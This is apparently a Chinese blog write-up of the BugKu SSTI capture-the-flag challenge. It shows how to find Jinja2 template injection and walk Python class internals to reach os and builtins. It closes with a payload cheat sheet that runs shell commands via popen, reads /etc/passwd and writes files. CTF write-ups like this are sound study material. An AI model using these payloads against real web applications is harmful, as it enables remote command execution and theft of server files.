CTF刷题

BugKu——SSTI

1、判断是否存在ssti漏洞
2*8=16
说明存在ssti漏洞

  • List item

在这里插入图片描述
2、开始模板注入
在这里插入图片描述
知道’’的类型是字符型。

3、接下来我们找其父类
在这里插入图片描述
找到父类,父类是’object’
4、因为只有一个’父类’,需要加一个下标,
在这里插入图片描述

5、找父类下的所有子类
{{’’.class.bases[0].subclasses()}}
在这里插入图片描述

6、接下来使用脚本,跑出那个子类中含有os模块
在这里插入图片描述

运行find_func.py脚本
输入字符串的地方,把所有的子类将其放入到其中,然后模块的话,直接引用,上面的就ok
在这里插入图片描述

那就直接使用75,如果出现slot wrapper,说明此模块不能使用,使用.init,看是否被重载

说明可以被重载,接下来找内建函数.builtins
在这里插入图片描述

使用内建函数找到’import’,
http://114.67.246.176:14262/?flag={{%27%27.class.bases[0].subclasses()[75].init.globals.builtins[%27__import__%27]}}
发现可以使用
在这里插入图片描述

引用os库,可以看到使用的python3.7

在这里插入图片描述

查看文件,注意Linux使用’ls’,可以看到
app.py
在这里插入图片描述

当我cat app.py时,发现一串,可是没有找到flag
在这里插入图片描述

看了,wp,说是服务器模板注入,当我加入config,直接得到flag
在这里插入图片描述

新的知识点:
Python服务器模板注入
参考链接:
https://blog.csdn.net/qq_40657585/article/details/83657220

python3

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

python2

#注入变量执行命令详见 [http://www.freebuf.com/articles/web/98928.html](http://www.freebuf.com/articles/web/98928.html)
#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

参考链接:https://blog.csdn.net/qq_40657585/article/details/83657220

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值